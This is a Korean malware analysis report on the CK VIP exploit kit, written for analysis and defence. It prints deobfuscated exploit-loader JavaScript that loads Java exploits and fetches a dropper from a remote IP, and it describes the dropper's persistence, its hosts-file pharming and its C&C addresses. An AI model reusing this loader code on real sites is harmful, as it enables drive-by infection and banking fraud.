1. 분석개요 [ 그림 1]. 디시인사이드를통하여악성코드유포중이라는인터넷뉴스기사 2014년 03월 25일구글검색을하던도중에디씨인사이드에접속하였더니이상한사이트로 302 리다이렉션이되어확인해보니 exploit이였기때문에이번기회에마음먹고분석하게되었습니다. 또한, 악성코드분석

Similar documents
*2008년1월호진짜

< 목차 > 1. 악성코드은닉동향요약 1 2. 홈페이지은닉형악성코드통계 2 - 유포지탐지 국가별현황 2 - 대량경유지가탐지된유포지 TOP 악성코드유형별비율 4 - 악성코드취약점유형별비율 4 - 악성코드수집및분석결과 5 - 경유지탐지 업종별비율 9 3. 악성코

ActFax 4.31 Local Privilege Escalation Exploit

< FBFF9B0A320BEC7BCBAC4DAB5E520C0BAB4D0BBE7C0CCC6AE20C5BDC1F620B5BFC7E220BAB8B0EDBCAD283131BFF E302028C8A8C6E4C0CCC1F620BEF7B

개요 최근사용자들이인터넷을사용하던중에 CVE (Java), CVE (IE), CVE (Flash), CVE (IE) 취약점을이용한 sweet orange exploit kit 가전파되어이를연구하였으 며,

로거 자료실

Windows 8에서 BioStar 1 설치하기

월간악성코드은닉사이트탐지 동향보고서 9 월 침해대응단사이버침해대응본부

XSS Attack - Real-World XSS Attacks, Chaining XSS and Other Attacks, Payloads for XSS Attacks

Microsoft Word - ntasFrameBuilderInstallGuide2.5.doc

유포지탐지동향

` 동향보고서 1. 악성코드은닉동향요약 3 2. 홈페이지은닉형악성코드통계 악성코드유포지현황 6 - 유포지탐지현황 6 - 대량경유지가탐지된유포지 TOP 악성코드취약점및취약한 S/W 악용현황 8 - 악성코드유형별비율 9 - 위협 IP 및도메인현황 10

Secure Programming Lecture1 : Introduction

var answer = confirm(" 확인이나취소를누르세요."); // 확인창은사용자의의사를묻는데사용합니다. if(answer == true){ document.write(" 확인을눌렀습니다."); else { document.write(" 취소를눌렀습니다.");

Research & Technique Apache Tomcat RCE 취약점 (CVE ) 취약점개요 지난 4월 15일전세계적으로가장많이사용되는웹애플리케이션서버인 Apache Tomcat에서 RCE 취약점이공개되었다. CVE 취약점은 W

Microsoft PowerPoint Android-SDK설치.HelloAndroid(1.0h).pptx

슬라이드 1

목 차 1. 개 요 배경 요약 정보 대상시스템 원리 공격 기법 및 기본 개념 Heap Spray Font 공 격..

Secure Programming Lecture1 : Introduction

Scene7 Media Portal 사용

슬라이드 1

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx

02 C h a p t e r Java

Eclipse 와 Firefox 를이용한 Javascript 개발 발표자 : 문경대 11 년 10 월 26 일수요일

SIGIL 완벽입문

2017 년악성코드은닉사이트탐지동향보고서 ( 상반기 ) 악성코드은닉사이트탐지 동향보고서 17 년상반기 1

Microsoft PowerPoint SDK설치.HelloAndroid(1.5h).pptx

< 목차 > 1. 악성코드은닉동향요약 1 2. 홈페이지은닉형악성코드통계 악성코드유포지현황 3 - 유포지탐지현황 3 - 대량경유지가탐지된유포지 TOP 악성코드취약점및취약한 S/W 악용현황 5 - 악성코드유형별비율 6 - 위협 IP/ 도메인현황 7 2

월간악성코드은닉사이트탐지 동향보고서 4 월 침해사고대응단인터넷침해대응본부

제목을 입력하세요.

한국에너지기술연구원 통합정보시스템설치방법설명서 한국에너지기술연구원 지식정보실 - 1 -

<41736D6C6F D20B9AEBCADBEE7BDC42E687770>

슬라이드 1

MasoJava4_Dongbin.PDF

PowerPoint 프레젠테이션

Black Hole Exploit Kit PDF Exploit $selectedexploit =? 3 or 4 /games/pdf.php /games/pdf2.php CVE , CVE , CVE , CVE

< F33BFF920C0CEC5CDB3DD20C4A7C7D8BBE7B0ED20B5BFC7E220B9D720BAD0BCAEBFF9BAB828C3D6C1BEBABB292E687770>

목차 1. 개요 배경 파일정보 상세분석 SMB 취약점공격흐름 특징적인행위 대응

Interstage5 SOAP서비스 설정 가이드

Microsoft Word - poc_script1.doc

비디오 / 그래픽 아답터 네트워크 만약에 ArcGolbe를 사용하는 경우, 추가적인 디스크 공간 필요. ArcGlobe는 캐시파일을 생성하여 사용 24 비트 그래픽 가속기 Oepn GL 2.0 이상을 지원하는 비디오카드 최소 64 MB 이고 256 MB 이상을 메모리

<BBE7B0EDB3EBC6AE5FC7E3BAEAB0D4C0D32E687770>

SBR-100S User Manual

C++ Programming

B.3 JDBC 설치 JDBC Java DataBase Connectivity 는자바에서 DBMS의종류에상관없이일관된방법으로 SQL을수행할수있도록해주는자바 API Application Program Interface 다. 이책에서는톰캣과 SQL Server 간의연결을위

Microsoft Word - Static analysis of Shellcode.doc

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서

Microsoft PowerPoint - chap01-C언어개요.pptx

행자부 G4C

1. Windows 설치 (Client 설치 ) 원하는위치에다운받은발송클라이언트압축파일을해제합니다. Step 2. /conf/config.xml 파일수정 conf 폴더에서 config.xml 파일을텍스트에디터를이용하여 Open 합니다. config.xml 파일에서, 아

SKINFOSEC_TECH_005_China Bot_가칭_ 악성코드 분석_v0.3.doc

HLS(HTTP Live Streaming) 이용가이드 1. HLS 소개 Apple iphone, ipad, ipod의운영체제인 ios에서사용하는표준 HTTP 기반스트리밍프로토콜입니다. 2. HLS 지원대상 - 디바이스 : iphone/ipad/ipod - 운영체제 :

< 목차 > 1. 악성코드은닉동향요약 1 2. 홈페이지은닉형악성코드통계 2 - 유포지탐지현황 2 - 대량경유지가탐지된유포지 TOP 악성코드유형별비율 4 - 악성코드취약점유형별비율 4 - 악성코드수집및분석결과 5 - 경유지탐지 업종별비율 악성코드은닉

Internet Explorer 11 자동업데이트방지 사용자가이드 작성일 : Version 1.0

쉽게 풀어쓴 C 프로그래밍

1. 배경 업무 내용이나 개인정보가 담긴 청구서 등을 메일로 전달 시 중요한 정보가 유출되는 경우가 발생하고 있으며, 이에 따른 메일 암호화 솔루션을 도입하고 있으나 기존 ActiveX를 기반으로 한 플러그인 방식은 여러 가지 제약으로 인해 사용성이 저하되고, 고객 대

PowerPoint Template

Microsoft Word - src.doc

문서의 제목 나눔고딕B, 54pt

Spring Boot/JDBC JdbcTemplate/CRUD 예제

제이쿼리 (JQuery) 정의 자바스크립트함수를쉽게사용하기위해만든자바스크립트라이브러리. 웹페이지를즉석에서변경하는기능에특화된자바스크립트라이브러리. 사용법 $( 제이쿼리객체 ) 혹은 $( 엘리먼트 ) 참고 ) $() 이기호를제이쿼리래퍼라고한다. 즉, 제이쿼리를호출하는기호

PowerPoint Presentation

rmi_박준용_final.PDF

server name>/arcgis/rest/services server name>/<web adaptor name>/rest/services ArcGIS 10.1 for Server System requirements - 지

Install stm32cubemx and st-link utility

신종파밍악성코드분석 Bolaven

Modern Javascript

歯2019

FileMaker 15 ODBC 및 JDBC 설명서

#WI DNS DDoS 공격악성코드분석

PowerPoint Template

[ 악성코드상세분석보고서 ] SK 커뮤니케이션즈해킹관련상세분석보고서 nateon.exe 대응 2 팀

Cluster management software

4S 1차년도 평가 발표자료

17장 클래스와 메소드

Android Master Key Vulnerability

월간 CONTENTS 3 EXPERT COLUMN 영화 점퍼 와 트로이목마 4 SPECIAL REPORT 패치 관리의 한계와 AhnLab Patch Management 핵심은 패치 관리, 왜? 8 HOT ISSUE 2016년에 챙겨봐야 할 개인정보보호

교육2 ? 그림

!K_InDesginCS_NFH

Contents Activity Define Real s Activity Define Reports UI, and Storyboards Activity Refine System Architecture Activity Defin

Endpoint Protector - Active Directory Deployment Guide

Microsoft PowerPoint 웹 연동 기술.pptx

2017 년 6 월한국소프트웨어감정평가학회논문지제 13 권제 1 호 Abstract

Microsoft PowerPoint 세션.ppt

초보자를 위한 C# 21일 완성

I T C o t e n s P r o v i d e r h t t p : / / w w w. h a n b i t b o o k. c o. k r

슬라이드 제목 없음

목차 BUG DEQUEUE 의 WAIT TIME 이 1 초미만인경우, 설정한시간만큼대기하지않는문제가있습니다... 3 BUG [qp-select-pvo] group by 표현식에있는컬럼을참조하는집합연산이존재하지않으면결괏값오류가발생할수있습니다... 4

Microsoft PowerPoint - CSharp-10-예외처리

취약점분석보고서 [Photodex ProShow Producer v ] RedAlert Team 안상환

DDoS 공격, 게임계정유출해커, 비트코인등가상화폐노린다 - 13 년 10 월부터 DDoS, 원격제어, 게임계정유출하더니최근암호화폐채굴 - 개요지난 13 년 10 월,Microsoft 社의인터넷익스플로러취약점 (CVE ) 을통해유포되는악성코드가 DDoS

PowerPoint Template

PowerPoint 프레젠테이션

Microsoft Word - windows server 2003 수동설치_non pro support_.doc

Ⅱ.수사결과 붙임1 피고인별 공소사실 요지 및 처리결과 참조 Ⅲ.TV홈쇼핑 업계의 실태 및 문제점 도입목적 및 현황 TV홈쇼핑 시스템은 중소기업이 대기업과 공정하게 경쟁할 수 있는 시장을 만들어 주는 한편,양질의 제품을 개발하고 유통과정을 단순화시켜 이를 염가로 최종소

A Hierarchical Approach to Interactive Motion Editing for Human-like Figures

FileMaker ODBC 및 JDBC 가이드

Web Scraper in 30 Minutes 강철

untitled

SOFTBASE XFRAME DEVELOPMENT GUIDE SERIES HTML 연동가이드 서울특별시구로구구로 3 동한신 IT 타워 1215 호 Phone Fax Co

Transcription:

CK VIP EXPLOIT Analysis 2014.03.27. Thur. 작성자 : 이상명 http://nopsled.tistory.com

1. 분석개요 [ 그림 1]. 디시인사이드를통하여악성코드유포중이라는인터넷뉴스기사 2014년 03월 25일구글검색을하던도중에디씨인사이드에접속하였더니이상한사이트로 302 리다이렉션이되어확인해보니 exploit이였기때문에이번기회에마음먹고분석하게되었습니다. 또한, 악성코드분석에대해서많은궁금점을품고의아해하시는분들을위해서이렇게 pdf 파일로직접배포하게되었습니다. - 1 -

2. 분석목적 악성코드를빠르게분석하는방법및해당악성코드가어떠한취약점을이용하여 expoit을하는지, 해당악성코드치료는어떻게하는지등에대해서자세하게알아보기위해서입니다. 또한, 아직까지보안에대해서신경을안쓰시는분들에게도도움이될까하고분석하기시작했습니다. 3. 분석전명심할것 1. 절대로파일확장자를믿지않는다. 실제로 exploit에사용되는거의모든파일들은파일확장자를바꾸어둔다. (html 제외 ) ex) exe파일인데.zip으로변경되어있는경우 2. 가능하면호스트 PC 에서분석하는것이아닌, 가상 PC 에서분석하여야한다. 이유는치료하였다고해도찝찝하고감염되면골치아프기때문이다. 4. 제작자에대해서 이문서는 http://nospeld.tistory.com에서처음으로작성및배포되었습니다. 틀린점이나궁금한점에대해서는 http://nopsled.tistory.com/guestbook 혹은 tistory 블로그게시글중아무거나덧글로작성해주시기바랍니다. 문서의내용은제작자허락없이변경될수없습니다. - 2 -

파일명 MD5 SHA256 shiftu.html 4b347f49d58b830b9f7b5fa6d206e7d6 d1185dc861e13565e4641cdc27b8de45f677ba1027d67b9eb2f10199 7a9c265e [ 그림 2] ck vip exploit 스크립트중일부 위그림을보면 ck vip exploit이라고알수있는점은다음과같이세가지로나눌수있다. 1. 스크립트일부내용에 js nb vip라고쓰여있는경우 2. 변수나함수에 ck라는단어가자주사용될경우 3. xmp* 와같은변수를사용하는경우 ck exploit 이란걸알았으니이제난독화를복호화해볼차례이다. 다른분들은 1 차적으로난독화를해제하고최종적으로난독화를해제하지만분석실력을쌓 는데그런방법이좋겠지만다음과같은방법은빠르게복호화가가능하단점이다. [ 그림 3] 난독화해제를위해스크립트를수정 스크립트가장위줄로가서 var xmpppud변수가선언되는곳위에서 document.write("<xmp>"); 를써넣는다. document.write( ); 과 document.write( <xmp>"); 차이점은 <xmp> 없이그냥쓰는경우 html 이나 javascript의경우브라우저의재해석에의해서악성코드에감염이될수있기때문에 <xmp> 를사용하여브라우저재해석을방지할수있다. - 3 -

수정한 html을로컬에서실행시키면복호화가완료되어스크립트해석이가능하다. 복호화를하게되면다음과같은소스가나온다. <script> function encode() var omg = ckl(), x1 = new Array, x2 = ''; for(var i=0;i<omg.length;i++) if(omg[i] == 159) //x2 += ''; else x1[i] = omg[i] - 159; x2 += String.fromCharCode(x1[i]); return x2;... 생략위에서나오는 encode함수가무엇이냐면, document.write("<xmp>"); 를추가하기전에원본스크립트맨밑을보면 fuction ckl() 이라고함수가정의되어있다. 함수내부를보면 bmw라는배열이있는데악성코드의 URL을복호화시켜주는역할을한다. bmw = [263,275,275,271,217,206,206,208,211,209,205,207,205,208,210,208,205,211,209,206,266,257,274,205,260,279,260] for i in range(0, len(bmw)): print chr(bmw[i] - 159), [ 그림 4] python을이용하여복호화한값해당코드는 python으로코딩하였다. encode 함수에서사용하는알고리즘을보고 python을사용하여간단하게복호화가가능하다. - 4 -

<script> var omg = [263,275,275,271,217,206,206,208,211,209,205,207,205,208,210,208,205,211,209,206,266,257,274,205,260,279,159,260]; var x1 = new Array, x2 = ''; for(var i=0;i<omg.length;i++) if(omg[i] == 159) //x2 += ''; else x1[i] = omg[i] - 159; x2 += String.fromCharCode(x1[i]); alert(x2); </script> [ 그림 5] jvascript를이용하여복호화한값혹은, 다음과같이 html 스크립트에서 encode 함수를커스텀마이징하여작성한다. 이렇게복호화를하면 hxxp://142.0.131.42/kbs.exe 라는악성코드주소가나온다. 해당주소는 exploit을할때사용하는악성코드 URL이다. 이제다음 encode 함수를지나 exploit 코드를볼차례이다. var wmck=deployjava.getjres()+""; // 자바버전을구하기위함. wmck=parseint(wmck.replace(/\. \_/g,'')); // 자바버전을구하기위함. var kaka = navigator.useragent.tolowercase(); // useragent 를구하여브라우저를체크한다. var ckurl = encode(); // encode 함수에서복호화된 url 을 return 받기위한변수 if( wmck > 17006 && wmck < 17011 ) // 자바버전이 17006 보다크고 17011 보다작을경우 - 5 -

if(kaka.indexof("msie 6") > -1) // microsoft internet explorer 6이라면 d o c u m e n t. w r i t e l n ( " < o b j e c t classid=\'clsid:8ad9c840-044e-11d1-b3e9-00805f499d93\' width=\'600\' height=\'400\'><param name=xiaomaolv value=\'"+ckurl+"\'><param name=bn value=\'woyouyizhixiaomaol\'><param name=si value=\'conglaiyebuqi\'><param name=bs value=\'748\'><param name=code value=\'xml20130422.xml20130422.class\'><param name=archive value=\'"+jaguar+"\'><\/object>"); // msie6의경우 java exploit하기위해서는따로 java object를생성해두고 // url을로드시켜야 exploit이가능하다. else document.write("<br>"); var gondady=document.createelement("body"); document.body.appendchild(gondady); var gondad=document.createelement("applet"); gondad.width="600"; gondad.height="400"; gondad.archive=jaguar; // jaguar = one.avi gondad.code="xml20130422.xml20130422.class"; gondad.setattribute("xiaomaolv",ckurl); gondad.setattribute("bn","woyouyizhixiaomaol"); gondad.setattribute("si","conglaiyebuqi"); gondad.setattribute("bs","748"); document.body.appendchild(gondad); // msie6가아닌경우본문에 exploit을로드시켜도무관하기때문에 // xml20130422.xml20130422.class는 one.avi안에있는 exploit에필요한 // class 파일이다. 초록색 : 해당라인에대한주석 빨강색 : 악성코드 URL 주황색 : exploit 에사용될 class 파일 (application/zip) CVE : CVE-2013-0422 (Oracle Java) 영향받는소프트웨어 : Oracle Java 7 update 10(JDK 및 JRE 7 update 10) 및이전버전 파일명 one.avi VirusTotal 22/51 ( 링크바로가기 ) MD5 8199ae15fb84b5e5d1694f6bafa58b1a SHA256 08cba504258dae6cae04b9bfa1e9faaef13bf3624841cc2115660e2bca fbfb9a - 6 -

else if( wmck >= 17000 && wmck < 17007) // 자바버전이 17000과똑같거나크고 17007보다낮은경우 if(kaka.indexof("msie 6") > -1) // micorosoft internet explorer 6이라면 d o c u m e n t. w r i t e l n ( " < o b j e c t classid=\'clsid:8ad9c840-044e-11d1-b3e9-00805f499d93\' width=\'256\' height=\'256\'><param name=xiaomaolv value=\'"+ckurl+"\'><param name=bn value=\'woyouyizhixiaomaolv\'><param name=si value=\'conglaiyebuqi\'><param name=bs value=\'748\'><param name=code value=\'setup.hohoho.class\'><param name=archive value=\'"+audi+"\'><\/object>");`````` // 마찬가지로 java object를생성하여 url를로드시킨다. else document.write("<br>"); var gondady=document.createelement("body"); document.body.appendchild(gondady); var gondad=document.createelement("applet"); gondad.width="256"; gondad.height="256"; gondad.archive=audi; // audi = two.avi gondad.code="setup.hohoho.class"; gondad.setattribute("xiaomaolv",ckurl); gondad.setattribute("bn","woyouyizhixiaomaolv"); gondad.setattribute("si","conglaiyebuqi"); gondad.setattribute("bs","748"); document.body.appendchild(gondad); // 여기또한마찬가지로 msie6이아니면 setup.hohoho.class파일과 // 악성코드가담긴 URL을로드시킨다. 초록색 : 해당라인에대한주석 빨강색 : 악성코드 URL 주황색 : exploit 에사용될 class 파일 (application/zip) CVE : CVE-2012-4681 (Oracle Java) 영향받는소프트웨어 : Oracle Java JDK and JRE 7 Update 6 및이전버전 파일명 two.avi VirusTotal 27/51 ( 링크바로가기 ) MD5 1b6c6b2e1d87d273642889b2fbf1b37a SHA256 05a3f4fb51d37c6190bc2b6ce0401154244c82d4769342d60caf9b2ef 0b3fb31-7 -

else if(wmck<=16027 wmck == 160) // 자바버전이 16027보다같거나작은경우또는 160과같을경우 var okokx = GTR + ".class"; var ckckx = document.createelement('applet'); ckckx.archive=benz; ckckx.code=okokx; ckckx.width="30"; ckckx.height="1"; document.body.appendchild(ckckx); var ckcks=document.createelement('param'); ckcks.name="dota"; // dota = KsDnGpGkEs.avi ckcks.value=ckurl; ckckx.appendchild(ckcks); 초록색 : 해당라인에대한주석 빨강색 : 악성코드 URL 주황색 : exploit 에사용될 class 파일 (application/zip) CVE : CVE-2011-3544 (Oracle Java) 영향받는소프트웨어 : Oracle Java 7 update 10(JDK 및 JRE 7,6 update 27) 및이전버전파일명 KsDnGpGkEs.avi VirusTotal 3/51 ( 링크바로가기 ) MD5 f8b4c1698e26a14408e845e8f387e03c 7354fa2c37df55dc31192c57f673842fdc834e8016b07f6ae590837aff2 SHA256 3f513 try // js 예외처리구문 (try, catch, finally, throws, throw) var ff; var flash=new ActiveXObject("ShockwaveFlash.ShockwaveFlash"); // 여기서예외가발생할가능성이있는스크립트를넣는다. catch(ff); // 예외처리 finally // 예외가발생하는거에상관없이밑에스크립트를실행 if(ff!="[object Error]") // ff변수안에내용이 [object error] 가아니라면, - 8 -

function ckwmgood1() var care = "<script type=\"text/javascript\">window.onerror=function()return true;;<\/script>\r\n"+ "<object width=\"550\" height=\"400\">\r\n"+ "<param name=\"movie\" value=\"done.swf\">\r\n"+ "<embed src=\"nbwm.swf\" width=\"550\" height=\"400\">\r\n"+ "<\/embed>\r\n"+ "<\/object>"; document.body.innerhtml="nb478188809"+care; if(apple.major==11 && (apple.minor==4 apple.minor==5))//cve-2013-0634 document.write("<body onload=ckwmgood1();></body>"); e l s e if((kaka.indexof("msie6")>-1 kaka.indexof("msie7")>-1)&&apple.major==10 && apple.minor==3 && apple.rev<=183 ) // CVE-2011-2140 document.write("<iframe src=ww.html width=60 height=1></iframe>"); 초록색 : 해당라인에대한주석 주황색 : exploit 에사용될 html 및 swf 파일 CVE : CVE-2013-0634 (Adobe Flash Player) - nbwm.swf, done.swf CVE-2011-2140 (Adobe Flash Player) - ww.html 영향받는소프트웨어 : Adobe Flash Player - 9 -

if(ck_wm.indexof("msie 6")>-1) document.write("<iframe src=xx.html width=60 height=1></iframe>"); // XML 코어취약점 CVE-2012-1889 else if(ck_wm.indexof("msie 7")>-1) document.write("<iframe src=yy.html width=60 height=1></iframe>"); // Adobe Flash Player (CVE-2013-0634) else if(ck_wm.indexof("msie 8")>-1) document.write("<iframe src=zz.html width=60 height=1></iframe>"); // Internet Explorer 8 취약점 (CVE-2013-3897) 이번엔처음난독화하기전스크립트 (shiftu.html) 로돌아와서맨밑부분을보게되면 ie 버전 을체크하고 iframe 으로취약점페이지를생성한다. 각각의 html 은 Microsoft Internet Explorer 6,7,8 의취약점이있다. 각각의 exploit 코드 (ww.html, xx.html, yy.html, zz.html, *.swf) 들은 kbs.exe 를받아오는역할 로써똑같은동작을하기에상세분석은하지않음. - 10 -

ㅁ. 악성코드분석 ( 바이너리정적분석 ) 파일명 kbs.exe VirusTotal 34/51 ( 링크바로가기 ) MD5 8e6fa461d83a5bca413aaf812f811104 SHA256 a4ce105273de308c652c92fc674410cad4c9222c3ad8d24ebdd18043e bc81ee9 [ 그림 6] base64 가바이너리에삽입되어있음. 해당악성코드의특징은자신이사용할 dll이나 API를 base64로암호화시켰다는점입니다. 밑에서 python으로 base64로인코딩되어있는문자열들을모두복호화시켰습니다. 또한, 파일이하는일은 Dropper 역할을하며 csrss.exe라는악성코드를 C:\23자리랜덤 \ 에 Drop 시켜주는역할을합니다 - 11 -

[ 그림 7] kbs.exe 의 IAT(Import Adress Table) kbs.exe의 IAT를보면해당악성코드가사용할함수가있다. 아까전에보았던 base64를복호화하고 GetProAdddress를이용하여주소를얻어오는걸예측할수있다. 또한, CopyFileA를이용하여어떠한파일을복사한다고예측해볼수있다. (BitBit나 CreateFile과같은함수를사용하면메모리에서복사하여 Drop시킨다고예측할수있다.) import base64 crpyto = ['dxnlcjmylmrsba==', 'YWR2YXBpMzIuZGxs', 'c2hlbgwzmi5kbgw=', 'a2vybmvsmziuzgxs', 'Q3JlYXRlRGlyZWN0b3J5QQ==', 'Q3JlYXRlUHJvY2Vzc0E=', 'Q2xvc2VIYW5kbGU=', 'V2luRXhlYw==', 'V3JpdGVGaWxl', 'TG9hZFJlc291cmNl', 'RmluZFJlc291cmNlQQ==', 'U2l6ZW9mUmVzb3VyY2U=', 'R2V0VGVtcFBhdGhB','Q3JlYXRlRmlsZUE='] for i in range(0, len(crpyto)): print str(crpyto[i]) + ' : ' + str(base64.b64decode(crpyto[i])) - 12 -

[ 그림 8] python 을이용하여 base64 를복호화한모습 [ 그림 9] 디렉토리이름을랜덤으로정하는함수 00403CFF 에서디렉토리이름을 23 자리로랜덤화시킨다. [ 그림 10] 메모리에저장된다음악성코드의경로 - 13 -

[ 그림 11] dll 의이름을정하는함수와정해진 dll 이름 dll 이름은 디렉토리 + 랜덤값 4 자리.dll 이다. [ 그림 12] dll 을생성하는함수 CreateFileA 의주소를얻어와 00403B2D 에서바로 CALL 을한다. 이작업은악성 dll 을 C:\23 자리랜덤 \ 에만들어주는역할을한다. ( 현재, dll 은 0 바이트 ) - 14 -

[ 그림 13] dll 의 data 를채워넣는함수 WriteFile의주소를가져와실행시켜 C:\23자리랜덤 \ 에 dll에써넣는다. 이때 dll의파일의용량이증가한다. ( 전단계에서는단지파일을만들어준역할만했고현재는데이터를넣어준상태 ) 파일명 Qvcq.dll VirusTotal 36/51 ( 링크바로가기 ) MD5 652ac500e38a211b66159b93286f35b2 e8f0adf529cd74b735d780b4d83a21b640d07a3e30b86cc64715e75f7 SHA256 9c611d3 [ 그림 13] rundll32.exe 를 csrss.exe 로복사하는함수 C:\Windows\system32\rundll32.exe 를 C:\23 자리랜덤 \csrss.exe 로복사한다. ( 복사하는이유는 rundll32.exe 가 system 파일이므로강제로종료가불가능하기때문에 dll 을 rundll32.exe 를이용하여실행하는듯싶다.) - 15 -

[ 그림 14] 똑같은 hash 를가지고있는두파일 파일의 hash 를구해보면 rundll32.exe 와 csrss.exe 의 MD5, SHA256 hash 가모두같기때문 에같은파일이다. [ 그림 15] lnk 를이용하여 rundll32.exe 와 Qvcq.dll 실행 csrss.exe 를이용하여 dll 을 load 시키고 dll 내부에있는 InitSkin 함수를실행한다. - 16 -

[ 그림 16] IDA Hexray 에서 InitSkin 함수를보았을때 [ 그림 17] InitSkin 함수의시작부분 InitSkin 함수가있는곳은 10006F7F 부터이다. 10006F90 에서는 Comment 에보이는문자열을가지고 CreateMutexA 를사용하여중복실행 을방지한다. [ 그림 18] 시작프로그램레지스트리에등록하는함수부분 InitSkin 파라미터를검사하고 CreateThread 를이용하여 base64 로인코딩된 REG_SZ 로레지 스트리에등록을한다. - 17 -

import base64 print base64.b64decode("""u29mdhdhcmvcxe1py3jvc29mdfxcv2luzg93cybovf xcq3vycmvudfzlcnnpb25cxfdpbmrvd3m=""") [ 그림 19] python 을이용하여 base64 를복호화한문자열 [ 그림 20] data.mdb 파일을 C:\23 자리랜덤 \ 에 Drop 시키는함수 [ 그림 21] base64 로암호화된디렉토리명 data.mdb 파일은파밍을할때사용하기위한 hosts 파일이다. GetSystemDirectoryA 를이용하여시스템디렉토리 (C:\windows\system32) 을구하고 strcat 을이용하여 \drivers\etc\hosts.ics(xgryaxzlcnnczxrjxghvc3rzlmljcw==) 와이어붙인다. - 18 -

data.mdb 원본을획득하기위해서간단하게프로그래밍을하였다. 직접 C:\WINDOWS\system32\drivers\etc\hosts를복사하여가져와도되지만여러분들이시스템해킹을조금이라도배웠다면레이스컨디션이라고배웠을거라고생각한다. 그런비슷한방식으로파일을가져오게끔하였다. data.mdb 파일을만들고 C:\WINDOWS\system32\drivers\etc\hosts 로옮기고 data.mdb 를삭제하는방식으로코딩이되어있었다. 삭제하기전에딜레이가있기때문에원본파일을획득할수있다. Loop FileCopy,C:\116418203Ladlu116418203\data.mdb,data.mdb 다음스크립트는 AutoHotKey라는스크립트언어를이용한프로그래밍이다. 이러한스크립트가하는것이무엇이냐면, C:\116418203Ladlu116418203\data.mdb를현재프로그램을실행한디렉토리로 data.mdb라는이름으로복사한다. 이다. data.mdb 를서버 (142.0.131.42) 에서가져오지못하므로분석이더이상불가능하였음. C&C서버 Server 도시 CC 용도 192.74.241.104? United States DC 제어및금융파밍 125.56.214.74 (a125-56.214-7 제어및금융 4.deploy.akamai AkamaiGHost United States DC 파밍 technologies.co m) 마지막으로악성코드가연결하는 IP주소 ( 도메인 ) 와 Server, 도시, CC(Country Code), 용도를 정리해둔표이다. - 19 -

추가내용인데.. 192.74.241.104(C&C) 하고세션을맺으려고자꾸 SYN 을보내네요. 그것도 CreateThreadA 를이용해서 n 초마다 SYN 을계속보내니까제 PC 가네트워크자원고 갈로뻗겠다... -_-;; - 20 -

ㅁ. 악성코드치료방법 1. 해당게시물에있는 IceSword.exe 를다운받아서실행한다. (IceSword.exe 는 rootkit 제거프로그램이다.) 실행했다면왼쪽상단쪽에 Process 를클릭한다. 2. csrss.exe 라고명시되어있는악성코드를찾는다. ( 실행경로가 C:\23 자리랜덤 \csrss.exe 인 걸찾으시면됩니다.) - 21 -

3.csrss.exe 를오른쪽마우스를클릭하고 Terminate Process 클릭한뒤프로세스를종료한다. 4. 윈도우키 + R 을눌러실행을여시고 msconfig 을타이핑하여킨다. 시작항목에 start 인것과명령부분에 C:\ 랜덤 23 자리 \ 로시작되는시작프로그램은체크를해 제해주고확인을눌러준다. 5. 이제 C 드라이브로가셔서 23 자리로되어있는랜덤한이름의폴더를찾아서삭제한다. 해당폴더안에는 csrss.exe 와 start.lnk 와 4 자리.dll 로되어있다. 6. 취약점을패치하기위해서 IE와 Java, Adobe Flash Player를업데이트를꼭해준다. Microsoft Internet Explorer 11 (Windows7만사용가능 ) Microsoft Internet Explorer 10 (Windows 모두사용가능 ) Oracle Java Adobe Flash Player - 22 -